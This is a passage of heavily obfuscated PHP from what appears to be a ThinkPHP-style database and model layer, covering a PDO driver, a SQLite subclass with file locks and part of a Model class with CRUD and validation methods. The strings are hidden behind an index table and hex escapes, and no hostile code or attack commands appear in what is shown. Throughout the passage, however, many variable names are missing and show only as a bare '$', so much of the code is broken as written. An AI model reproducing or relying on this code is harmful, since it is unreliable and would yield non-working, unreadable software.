$諿[$[898]], $諿[$[899]], $諿[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($諿[$[926]]); if (in_array($this->dbType, array($[927], $[928], $[929], $[930]))) { think_exception($[931] . $this->dbType . $[932] . $this->dbType . $[933]); } if (!$this->linkID[$]) { think_exception($[934]); } try { $this->linkID[$]->exec($[935] . think_config($[901])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $퍓 = array()) { $ّߜ =& $_SERVER[ﻻ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($퍓)) { $this->queryStr .= $ّߜ[936] . print_r($퍓, !0) . $ّߜ[937]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ّߜ[23], 1); think_status($ّߜ[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $؍ = $this->PDOStatement->execute($퍓); $this->debug(); if (!1 === $؍) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[ﻻ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[936] . print_r($, !0) . $[937]; } $ = !1; if ($this->dbType == $[930]) { if (preg_match($[938], $this->queryStr, $ϸ͑)) { $this->table = think_config($[939]) . str_ireplace(think_config($[940]), $[378], $ϸ͑[2]); $ = (bool) $this->query($[941] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[942], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ڦǣ = $this->_linkID->commit(); $this->transTimes = 0; if (!$ڦǣ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ϻ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ϻ) { $this->error(); return !1; } } return !0; } private function getAll() { $ך = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ך); return $ך; } public function getFields($Ġ) { $ =& $_SERVER[ﻻ]; $this->initConnect(!0); if (think_config($[943])) { $ = str_replace($[944], $Ġ, think_config($[943])); } else { switch ($this->dbType) { case $[927]: case $[945]: $ = "\x53\105\x4c\x45\103\124\x20\x20\40\x63\x6f\154\x75\x6d\156\137\x6e\x61\x6d\145\40\141\x73\x20\47\116\x61\155\145\x27\x2c\x20\x20\x20\x64\141\164\x61\137\164\171\160\x65\x20\x61\163\40\47\x54\x79\160\145\x27\x2c\40\40\x20\143\157\x6c\165\155\156\x5f\x64\x65\146\141\165\x6c\164\x20\x61\x73\x20\x27\x44\145\146\141\165\154\x74\47\x2c\40\40\x20\151\163\x5f\156\x75\x6c\154\141\142\154\145\x20\141\x73\x20\47\116\165\x6c\154\x27\12\11\x9\x46\122\117\x4d\x9\151\x6e\x66\x6f\x72\155\141\x74\x69\157\x6e\x5f\163\x63\x68\x65\x6d\141\56\164\141\x62\154\145\163\40\101\x53\x20\x74\xa\11\11\112\x4f\x49\116\11\151\156\146\157\162\155\x61\x74\151\157\156\137\x73\143\150\x65\x6d\x61\x2e\143\157\x6c\165\155\x6e\x73\x20\101\x53\40\x63\xa\x9\11\117\x4e\40\40\164\56\164\141\142\154\145\137\x63\141\x74\141\x6c\157\147\x20\x3d\40\143\x2e\x74\x61\142\x6c\145\x5f\143\x61\164\141\154\x6f\x67\12\x9\x9\101\116\104\x20\164\x2e\x74\141\x62\x6c\x65\137\163\143\150\x65\155\141\40\x3d\40\x63\x2e\164\141\142\154\x65\x5f\x73\143\150\x65\x6d\x61\xa\x9\11\101\116\104\x20\x74\x2e\164\141\x62\154\x65\137\x6e\x61\x6d\145\x20\75\x20\143\56\164\x61\x62\154\x65\x5f\156\141\x6d\145\12\x9\x9\x57\x48\105\x52\105\x20\40\x20\164\56\164\141\142\x6c\x65\x5f\x6e\x61\x6d\x65\40\x3d\x20\47{$Ġ}\x27"; break; case $[946]: $ = $[947] . $Ġ . $[948]; break; case $[928]: case $[930]: $ = $[949] . $[950] . $[951] . strtoupper($Ġ) . $[952] . strtoupper($Ġ) . $[953]; break; case $[954]: $ = $[955] . $Ġ . $[956]; break; case $[929]: break; case $[957]: default: $ = $[958] . ($this->dbType == $[957] ? "\x60{$Ġ}\140" : $Ġ); } } $݈ = $this->query($); $п = array(); if ($݈) { foreach ($݈ as $ => $ӏŜ) { $ӏŜ = array_change_key_case($ӏŜ); $ӏŜ[$[32]] = isset($ӏŜ[$[32]]) ? $ӏŜ[$[32]] : $[378]; $ӏŜ[$[33]] = isset($ӏŜ[$[33]]) ? $ӏŜ[$[33]] : $[378]; $УǷ = isset($ӏŜ[$[273]]) ? $ӏŜ[$[273]] : $ӏŜ[$[32]]; $п[$УǷ] = array($[32] => $УǷ, $[33] => $ӏŜ[$[33]], $[35] => (bool) (isset($ӏŜ[$[103]]) && $ӏŜ[$[103]] === $[12] || isset($ӏŜ[$[35]]) && $ӏŜ[$[35]] === $[12]), $[37] => isset($ӏŜ[$[37]]) ? $ӏŜ[$[37]] : (isset($ӏŜ[$[56]]) ? $ӏŜ[$[56]] : $[378]), $[39] => isset($ӏŜ[$[94]]) ? strtolower($ӏŜ[$[94]]) == $[41] : (isset($ӏŜ[$[57]]) ? $ӏŜ[$[57]] : !1), $[42] => isset($ӏŜ[$[959]]) ? strtolower($ӏŜ[$[959]]) == $[44] : (isset($ӏŜ[$[94]]) ? $ӏŜ[$[94]] : !1)); } } return $п; } public function getTables($ = '') { $ŕ =& $_SERVER[ﻻ]; if (think_config($ŕ[960])) { $ˮ = str_replace($ŕ[961], $, think_config($ŕ[960])); } else { switch ($this->dbType) { case $ŕ[928]: case $ŕ[930]: $ˮ = $ŕ[962]; break; case $ŕ[927]: case $ŕ[945]: $ˮ = $ŕ[963]; break; case $ŕ[954]: $ˮ = $ŕ[964]; break; case $ŕ[929]: think_exception(think_lang($ŕ[965]) . $ŕ[966]); break; case $ŕ[946]: $ˮ = $ŕ[45] . $ŕ[46] . $ŕ[47]; break; case $ŕ[957]: default: if (!empty($)) { $ˮ = $ŕ[909] . $ . $ŕ[910]; } else { $ˮ = $ŕ[911]; } } } $덩 = $this->query($ˮ); $Ӄ = array(); foreach ($덩 as $ݸ => $Һ) { $Ӄ[$ݸ] = current($Һ); } return $Ӄ; } protected function parseLimit($) { $۩ =& $_SERVER[ﻻ]; $ĸ = $۩[12]; if (!empty($)) { switch ($this->dbType) { case $۩[954]: case $۩[946]: $ = explode($۩[50], $); if (count($) > 1) { $ĸ .= $۩[51] . $[1] . $۩[52] . $[0] . $۩[53]; } else { $ĸ .= $۩[51] . $[0] . $۩[53]; } break; case $۩[927]: case $۩[945]: break; case $۩[929]: break; case $۩[928]: case $۩[930]: break; case $۩[957]: default: $ĸ .= $۩[51] . $ . $۩[53]; } } return $ĸ; } public function parseKey(&$浿, $ØŚ = true) { $ =& $_SERVER[ﻻ]; if ($ØŚ) { $浿 = $this->parseKeyCheck($浿); } if ($this->dbType == $[957]) { if ($浿 != $[189] && !preg_match($[921], $浿)) { $浿 = $[385] . trim($浿, $[385]) . $[385]; } return $浿; } else { return parent::parseKey($浿, $ØŚ); } } public function close() { $this->_linkID = null; } public function error() { $ð =& $_SERVER[ﻻ]; if ($this->PDOStatement) { $Ҭ = $this->PDOStatement->errorInfo(); $this->error = $Ҭ[1] . $ð[4] . $Ҭ[2]; } else { $this->error = $ð[12]; } if ($ð[12] != $this->queryStr) { $this->error .= LNG($ð[48]) . $this->queryStr; } think_trace($this->error, $ð[12], $ð[49]); return $this->error; } public function escapeString($Ť¬) { $ϕ =& $_SERVER[ﻻ]; switch ($this->dbType) { case $ϕ[954]: case $ϕ[927]: case $ϕ[945]: case $ϕ[957]: return addslashes($Ť¬); case $ϕ[929]: case $ϕ[946]: case $ϕ[928]: case $ϕ[930]: return str_ireplace($ϕ[58], $ϕ[59], $Ť¬); } } protected function parseValue($) { $ =& $_SERVER[ﻻ]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $[967] . $this->escapeString($) . $[967]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[297]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[968]), $); } elseif (is_bool($)) { $ = $ ? $[88] : $[198]; } elseif (is_null($)) { $ = $[103]; } return $; } public function getLastInsertId() { $ʠ =& $_SERVER[ﻻ]; switch ($this->dbType) { case $ʠ[954]: case $ʠ[946]: case $ʠ[927]: case $ʠ[945]: case $ʠ[929]: case $ʠ[957]: return $this->_linkID->lastInsertId(); case $ʠ[928]: case $ʠ[930]: $ϲ = $this->table; $ո = $this->query("\x53\105\x4c\105\103\x54\40{$ϲ}\56\x63\x75\x72\x72\x76\x61\154\40\x63\x75\162\x72\x76\141\154\40\x46\122\117\115\x20\x64\165\141\154"); return $ո ? $ո[0][$ʠ[969]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[ﻻ]; if (!CacheLock::fileLock($[13])) { return !1; } $һ = parent::query($); CacheLock::fileUnLock($[13]); return $һ; } public function execute($) { $ݍ =& $_SERVER[ﻻ]; if (!CacheLock::fileLock($ݍ[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($ݍ[13]); return $; } } goto Eտؤ; B: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\x62\x6c\145", "\x6f\162\144\145\162", "\141\154\x69\x61\x73", "\x68\141\166\x69\156\147", "\147\162\x6f\x75\160", "\154\157\143\153", "\x64\151\163\x74\x69\x6e\x63\164", "\141\x75\x74\157", "\x66\x69\x6c\x74\x65\162", "\x76\x61\154\151\144\x61\x74\x65", "\x72\x65\x73\165\154\x74", "\x62\151\x6e\144", "\164\x6f\x6b\x65\156"); public function __construct($ = '', $½ = '', $ = '') { $ =& $_SERVER[ﻻ]; $this->_initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($½)) { $this->tablePrefix = $[12]; } elseif ($[12] != $½) { $this->tablePrefix = $½; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[244]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ɳ =& $_SERVER[ﻻ]; if (empty($this->fields)) { if (think_config($ɳ[245])) { $ܳ = $this->dbName ? $this->dbName : think_config($ɳ[246]); $յ = think_var_cache($ɳ[247] . strtolower(get_path_this($ܳ) . $ɳ[10] . $this->name)); if ($յ) { $ݢ = think_config($ɳ[248]); if (empty($ݢ) || $յ[$ɳ[249]] == $ݢ) { $this->fields = $յ; return; } } } $this->flush(); } } public function flush() { $ݶ =& $_SERVER[ﻻ]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$ݶ[250]] = !1; foreach ($ as $͌ => $) { $[$͌] = $[$ݶ[33]]; if ($[$ݶ[39]]) { $this->fields[$ݶ[251]] = $͌; if ($[$ݶ[42]]) { $this->fields[$ݶ[250]] = !0; } } } $this->fields[$ݶ[252]] = $; if (think_config($ݶ[248])) { $this->fields[$ݶ[249]] = think_config($ݶ[248]); } if (think_config($ݶ[245])) { $ = $this->dbName ? $this->dbName : think_config($ݶ[246]); think_var_cache($ݶ[247] . strtolower(get_path_this($) . $ݶ[10] . $this->name), $this->fields); } } public function switchModel($Ц, $ = array()) { $ƀ =& $_SERVER[ﻻ]; $Dz = ucwords(strtolower($Ц)) . $ƀ[253]; if (!class_exists($Dz)) { think_exception($Dz . think_lang($ƀ[254])); } $this->_extModel = new $Dz($this->name); if (!empty($)) { foreach ($ as $ƪ̃) { $this->_extModel->setProperty($ƪ̃, $this->{$ƪ̃}); } } return $this->_extModel; } public function __set($ˑ, $) { $this->data[$ˑ] = $; } public function __get($ũ) { return isset($this->data[$ũ]) ? $this->data[$ũ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $כ) { $ =& $_SERVER[ﻻ]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $כ[0]; return $this; } elseif (in_array(strtolower($), array($[255], $[256], $[257], $[258], $[259]), !0)) { $ = isset($כ[0]) ? $כ[0] : $[189]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[260] . $ . $[261] . $, $[255]); } elseif (strtolower(substr($, 0, 5)) == $[262]) { $ = think_parse_name(substr($, 5)); $Ȯ饟[$] = $כ[0]; return $this->where($Ȯ饟)->find(); } elseif (strtolower(substr($, 0, 10)) == $[263]) { $ۮϹ = think_parse_name(substr($, 10)); $Ȯ饟[$ۮϹ] = $כ[0]; return $this->where($Ȯ饟)->getField($כ[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $כ[0]); } elseif (method_exists($this, $)) { array_unshift($כ, $); return call_user_func_array(array($this, $[264]), $כ); } else { return call_user_func_array(array(parent, $), $כ); } } protected function call() { $ =& $_SERVER[ﻻ]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[265])); return; } $[] = $; if (method_exists($this, $[266])) { $ԭٜ = call_user_func_array(array($this, $[267]), array($, $)); if (!is_null($ԭٜ) && $ԭٜ !== !1) { return $ԭٜ; } } $ = call_user_func_array(array($this, $), $); if (method_exists($this, $[268])) { $ԭٜ = call_user_func_array(array($this, $[269]), array($, $, $)); if ($ԭٜ) { return $ԭٜ; } } return $; } protected function _initialize() { } protected function _facade($ܶ) { $۾摨 =& $_SERVER[ﻻ]; if (!empty($this->fields)) { foreach ($ܶ as $ => $ƽ) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($ܶ[$]); } elseif (is_scalar($ƽ)) { $this->_parseType($ܶ, $); } } } if (!empty($this->options[$۾摨[270]])) { $ܶ = array_map($this->options[$۾摨[270]], $ܶ); unset($this->options[$۾摨[270]]); } $this->_beforeWrite($ܶ); return $ܶ; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ש = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ﻻ][271]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $ש); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$˞, $օ) { } protected function _after_insert($₻, $ȩ) { } public function addAll($֞, $䝏 = array(), $ = false) { $ =& $_SERVER[ﻻ]; if (empty($֞)) { $this->error = think_lang($[271]); return !1; } $䝏 = $this->_parseOptions($䝏); foreach ($֞ as $ => $֑) { $֞[$] = $this->_facade($֑); } if (method_exists($this->db, $[272])) { $ = $this->db->insertAll($֞, $䝏, $); } else { $this->startTrans(); foreach ($֞ as $ => $֑) { $ = $this->db->insert($֑, $䝏, $); } $this->commit(); } if (!1 !== $) { $ʄ = $this->getLastInsID(); if ($ʄ) { return $ʄ; } } return $; } public function selectAdd($ȟֆ = '', $ = '', $ژ폗 = array()) { $ =& $_SERVER[ﻻ]; $ژ폗 = $this->_parseOptions($ژ폗); if (!1 === ($럑 = $this->db->selectInsert($ȟֆ ? $ȟֆ : $ژ폗[$[273]], $ ? $ : $this->getTableName(), $ژ폗))) { $this->error = think_lang($[274]); return !1; } else { return $럑; } } public function save($Œ = '', $ӧ = array()) { $ =& $_SERVER[ﻻ]; if (empty($Œ)) { if (!empty($this->data)) { $Œ = $this->data; $this->data = array(); } else { $this->error = think_lang($[271]); return !1; } } $Œ = $this->_facade($Œ); $ӧ = $this->_parseOptions($ӧ); $ = $this->getPk(); if (!isset($ӧ[$[275]])) { if (isset($Œ[$])) { $俘[$] = $Œ[$]; $ӧ[$[275]] = $俘; unset($Œ[$]); } else { $this->error = think_lang($[274]); return !1; } } if (is_array($ӧ[$[275]]) && isset($ӧ[$[275]][$])) { $ = $ӧ[$[275]][$]; } if (!1 === $this->_beforeUpdate($Œ, $ӧ)) { return !1; } $̴ = $this->db->update($Œ, $ӧ); if (!1 !== $̴) { if (isset($)) { $Œ[$] = $; } $this->_afterUpdate($Œ, $ӧ); } return $̴; } protected function _beforeUpdate(&$А, $) { } protected function _afterUpdate($, $䯄) { } public function delete($ = array()) { $ɺ =& $_SERVER[ﻻ]; if (empty($) && empty($this->options[$ɺ[275]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $ɺ[50])) { $զ[$] = array($ɺ[276], $); } else { $զ[$] = $; } $this->options[$ɺ[275]] = $զ; } $ = $this->_parseOptions(); if (is_array($[$ɺ[275]]) && isset($[$ɺ[275]][$])) { $ = $[$ɺ[275]][$]; } $ʳ = $this->db->delete($); if (!1 !== $ʳ) { $ھ = array(); if (isset($)) { $ھ[$] = $; } $this->_after_delete($ھ, $); } return $ʳ; } protected function _after_delete($, $) { } public function select($ܩ = array()) { $и =& $_SERVER[ﻻ]; if (is_string($ܩ) || is_numeric($ܩ)) { $ͷ = $this->getPk(); if (strpos($ܩ, $и[50])) { $[$ͷ] = array($и[276], $ܩ); } else { $[$ͷ] = $ܩ; } $this->options[$и[275]] = $; } elseif (!1 === $ܩ) { $ܩ = $this->_parseOptions(); return $и[277] . $this->db->buildSelectSql($ܩ) . $и[278]; } $ܩ = $this->_parseOptions(); $ޖ = $this->db->select($ܩ); if (!1 === $ޖ) { return !1; } if (empty($ޖ)) { return null; } $this->_afterSelect($ޖ, $ܩ); return $ޖ; } protected function _afterSelect(&$, $) { } public function buildSql($ܯ = array()) { $ =& $_SERVER[ﻻ]; $ܯ = $this->_parseOptions($ܯ); return $[277] . $this->db->buildSelectSql($ܯ) . $[278]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($܉̵ = array()) { $а =& $_SERVER[ﻻ]; if (is_array($܉̵)) { $܉̵ = array_merge($this->options, $܉̵); } $this->options = array(); if (!isset($܉̵[$а[279]])) { $܉̵[$а[279]] = $this->getTableName(); $Ѽ = $this->fields; } else { $Ѽ = $this->getDbFields(); } if (!empty($܉̵[$а[280]])) { $܉̵[$а[279]] .= $а[53] . $܉̵[$а[280]]; } $܉̵[$а[281]] = $this->name; if (isset($܉̵[$а[275]]) && is_array($܉̵[$а[275]]) && !empty($Ѽ) && !isset($܉̵[$а[282]]) && !isset($܉̵[$а[279]])) { foreach ($܉̵[$а[275]] as $瘌 => $簅) { $瘌 = trim($瘌); if (in_array($瘌, $Ѽ, !0)) { if (is_scalar($簅)) { $this->_parseType($܉̵[$а[275]], $瘌); } } elseif (!is_numeric($瘌) && $а[11] != substr($瘌, 0, 1) && !1 === strpos($瘌, $а[10]) && !1 === strpos($瘌, $а[260]) && !1 === strpos($瘌, $а[283]) && !1 === strpos($瘌, $а[284])) { unset($܉̵[$а[275]][$瘌]); } } } $this->_options_filter($܉̵); return $܉̵; } protected function _options_filter(&$ӳ) { } protected function _parseType(&$ԅٺ, $) { $秄 =& $_SERVER[ﻻ]; if (empty($this->options[$秄[285]][$秄[4] . $])) { $Ɔ = strtolower($this->fields[$秄[252]][$]); if (!1 !== strpos($Ɔ, $秄[286])) { } elseif (!1 === strpos($Ɔ, $秄[287]) && !1 !== strpos($Ɔ, $秄[288])) { $ԅٺ[$] = intval($ԅٺ[$]); } elseif (!1 !== strpos($Ɔ, $秄[289]) || !1 !== strpos($Ɔ, $秄[290])) { $ԅٺ[$] = floatval($ԅٺ[$]); } elseif (!1 !== strpos($Ɔ, $秄[291])) { $ԅٺ[$] = (bool) $ԅٺ[$]; } } } public function find($Ȼ = array()) { $֢ =& $_SERVER[ﻻ]; if (is_numeric($Ȼ) || is_string($Ȼ)) { $֤[$this->getPk()] = intval($Ȼ); $this->options[$֢[275]] = $֤; } $this->options[$֢[292]] = 1; $Ȼ = $this->_parseOptions(); $ = $this->db->select($Ȼ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $Ȼ); if (!empty($this->options[$֢[293]])) { return $this->returnResult($this->data, $this->options[$֢[293]]); } return $this->data; } protected function _afterFind(&$멏, $) { } protected function returnResult($ߨ, $峢Ի = '') { $霡 =& $_SERVER[ﻻ]; if ($峢Ի) { if (is_callable($峢Ի)) { return call_user_func($峢Ի, $ߨ); } switch (strtolower($峢Ի)) { case $霡[294]: return json_encode($ߨ); case $霡[295]: return xml_encode($ߨ); } } return $ߨ; } public function parseFieldsMap($ܱ, $˷ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $՝) { if ($˷ == 1) { if (isset($ܱ[$՝])) { $ܱ[$] = $ܱ[$՝]; unset($ܱ[$՝]); } } else { if (isset($ܱ[$])) { $ܱ[$՝] = $ܱ[$]; unset($ܱ[$]); } } } } return $ܱ; } public function setField($, $ = '') { if (is_array($)) { $ = $; } else { $[$] = $; } return $this->save($); } public function setAdd($, $ʷ = 1) { $殀 =& $_SERVER[ﻻ]; $ = $ . $殀[296] . $ʷ; if ($ʷ < 0) { $ = $ . $ʷ; } return $this->setField($, array($殀[297], $)); } public function getField($, $☽ = null) { $ =& $_SERVER[ﻻ]; $涃[$[273]] = $; $涃 = $this->_parseOptions($涃); $ = trim($); if (strpos($, $[50])) { if (!isset($涃[$[292]])) { $涃[$[292]] = is_numeric($☽) ? $☽ : $[12]; } $ = $this->db->select($涃); if (!empty($)) { $ڟ = explode($[50], $); $ = array_keys($[0]); $Øً = array_shift($); $駴 = array_shift($); $ = array(); $ = count($ڟ); foreach ($ as $) { $߆Е = $[$Øً]; if (2 == $) { $[$߆Е] = $[$駴]; } else { $[$߆Е] = is_string($☽) ? implode($☽, $) : $; } } return $; } } else { if (!0 !== $☽) { $涃[$[292]] = is_numeric($☽) ? $☽ : 1; } if ($☽ === $[255]) { unset($涃[$[292]]); } $ = $this->db->select($涃); if (!empty($)) { if ($☽ === $[255]) { return reset($[0]); } if (!0 !== $☽ && 1 == $涃[$[292]]) { return reset($[0]); } foreach ($ as $) { $ڵ[] = $[$]; } return $ڵ; } } return null; } public function create($ = '', $߶ = '') { $ =& $_SERVER[ﻻ]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($[271]); return !1; } $ = $this->parseFieldsMap($, 0); $߶ = $߶ ? $߶ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[273]])) { $۞ = $this->options[$[273]]; unset($this->options[$[273]]); } elseif ($߶ == THINK_MODEL_INSERT && isset($this->insertFields)) { $۞ = $this->insertFields; } elseif ($߶ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $۞ = $this->updateFields; } if (isset($۞)) { if (is_string($۞)) { $۞ = explode($[50], $۞); } if (think_config($[298])) { $۞[] = think_config($[299]); } foreach ($ as $ => $㋕) { if (!in_array($, $۞)) { unset($[$]); } } } if (!$this->autoValidation($, $߶)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($[300]); return !1; } if ($this->autoCheckFields) { $۞ = $this->getDbFields(); foreach ($ as $ => $㋕) { if (!in_array($, $۞)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($㋕)) { $[$] = stripslashes($㋕); } } } $this->autoOperation($, $߶); $this->data = $; return $; } public function autoCheckToken($ߡ) { $ =& $_SERVER[ﻻ]; if (isset($this->options[$[301]]) && !$this->options[$[301]]) { return !0; } if (think_config($[298])) { $ = think_config($[299]); if (!isset($ߡ[$]) || Session::get($)) { return !1; } list($, $է) = explode($[11], $ߡ[$]); if ($է && Session::get($ . $[10] . $) === $է) { Session::remove($ . $[10] . $); return !0; } if (think_config($[302])) { Session::remove($ . $[10] . $); } return !1; } return !0; } public function regex($, $ϛ) { $ =& $_SERVER[ﻻ]; $ = array($[303] => $[304], $[305] => $[306], $[307] => $[308], $[309] => $[310], $[311] => $[312], $[313] => $[314], $[315] => $[316], $[290] => $[317], $[318] => $[319]); if (isset($[strtolower($ϛ)])) { $ϛ = $[strtolower($ϛ)]; } return preg_match($ϛ, $) === 1; } private function autoOperation(&$Է˗, $ɲ) { $и =& $_SERVER[ﻻ]; if (!empty($this->options[$и[320]])) { $׀̮ = $this->options[$и[320]]; unset($this->options[$и[320]]); } elseif (!empty($this->_auto)) { $׀̮ = $this->_auto; } if (isset($׀̮)) { foreach ($׀̮ as $վ) { if (empty($վ[2])) { $վ[2] = THINK_MODEL_INSERT; } if ($ɲ == $վ[2] || $վ[2] == THINK_MODEL_BOTH) { switch (trim($վ[3])) { case $и[321]: case $и[322]: $Ϣ = isset($վ[4]) ? (array) $վ[4] : array(); if (isset($Է˗[$վ[0]])) { array_unshift($Ϣ, $Է˗[$վ[0]]); } if ($и[321] == $վ[3]) { $Է˗[$վ[0]] = call_user_func_array($վ[1], $Ϣ); } else { $Է˗[$վ[0]] = call_user_func_array(array(&$this, $վ[1]), $Ϣ); } break; case $и[273]: $Է˗[$վ[0]] = $Է˗[$վ[1]]; break; case $и[323]: if ($и[12] === $Է˗[$վ[0]]) { unset($Է˗[$վ[0]]); } break; case $и[324]: default: $Է˗[$վ[0]] = $վ[1]; } if (!1 === $Է˗[$վ[0]]) { unset($Է˗[$վ[0]]); } } } } return $Է˗; } protected function autoValidation($͓ͧ, $) { $؝ =& $_SERVER[ﻻ]; if (!empty($this->options[$؝[325]])) { $ = $this->options[$؝[325]]; unset($this->options[$؝[325]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $ٿږ) { if (empty($ٿږ[5]) || $ٿږ[5] == THINK_MODEL_BOTH || $ٿږ[5] == $) { if (0 == strpos($ٿږ[2], $؝[326]) && strpos($ٿږ[2], $؝[327])) { $ٿږ[2] = think_lang(substr($ٿږ[2], 2, -1)); } $ٿږ[3] = isset($ٿږ[3]) ? $ٿږ[3] : THINK_EXISTS_VALIDATE; $ٿږ[4] = isset($ٿږ[4]) ? $ٿږ[4] : $؝[328]; switch ($ٿږ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($͓ͧ, $ٿږ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($؝[12] != trim($͓ͧ[$ٿږ[0]])) { if (!1 === $this->_validationField($͓ͧ, $ٿږ)) { return !1; } } break; default: if (isset($͓ͧ[$ٿږ[0]])) { if (!1 === $this->_validationField($͓ͧ, $ٿږ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($莞, $â) { if (!1 === $this->_validationFieldItem($莞, $â)) { if ($this->patchValidate) { $this->error[$â[0]] = $â[2]; } else { $this->error = $â[2]; return !1; } } return; } protected function _validationFieldItem($̅燇, $ẓ) { $ =& $_SERVER[ﻻ]; switch (strtolower(trim($ẓ[4]))) { case $[321]: case $[322]: $ׅȷ = isset($ẓ[6]) ? (array) $ẓ[6] : array(); if (is_string($ẓ[0]) && strpos($ẓ[0], $[50])) { $ẓ[0] = explode($[50], $ẓ[0]); } if (is_array($ẓ[0])) { foreach ($ẓ[0] as $σ) { $[$σ] = $̅燇[$σ]; } array_unshift($ׅȷ, $); } else { array_unshift($ׅȷ, $̅燇[$ẓ[0]]); } if ($[321] == $ẓ[4]) { return call_user_func_array($ẓ[1], $ׅȷ); } else { return call_user_func_array(array(&$this, $ẓ[1]), $ׅȷ); } case $[329]: return $̅燇[$ẓ[0]] == $̅燇[$ẓ[1]]; case $[330]: if (is_string($ẓ[0]) && strpos($ẓ[0], $[50])) { $ẓ[0] = explode($[50], $ẓ[0]); } $å = array(); if (is_array($ẓ[0])) { foreach ($ẓ[0] as $σ) { $å[$σ] = $̅燇[$σ]; } } else { $å[$ẓ[0]] = $̅燇[$ẓ[0]]; } if (!empty($̅燇[$this->getPk()])) { $å[$this->getPk()] = array($[331], $̅燇[$this->getPk()]); } if ($this->where($å)->find()) { return !1; } return !0; default: return $this->check($̅燇[$ẓ[0]], $ẓ[1], $ẓ[4]); } } public function check($͓, $Θ, $û = "\x72\x65\147\x65\x78") { $Մե =& $_SERVER[ﻻ]; $û = strtolower(trim($û)); switch ($û) { case $Մե[7]: case $Մե[332]: $물 = is_array($Θ) ? $Θ : explode($Մե[50], $Θ); return $û == $Մե[7] ? in_array($͓, $물) : 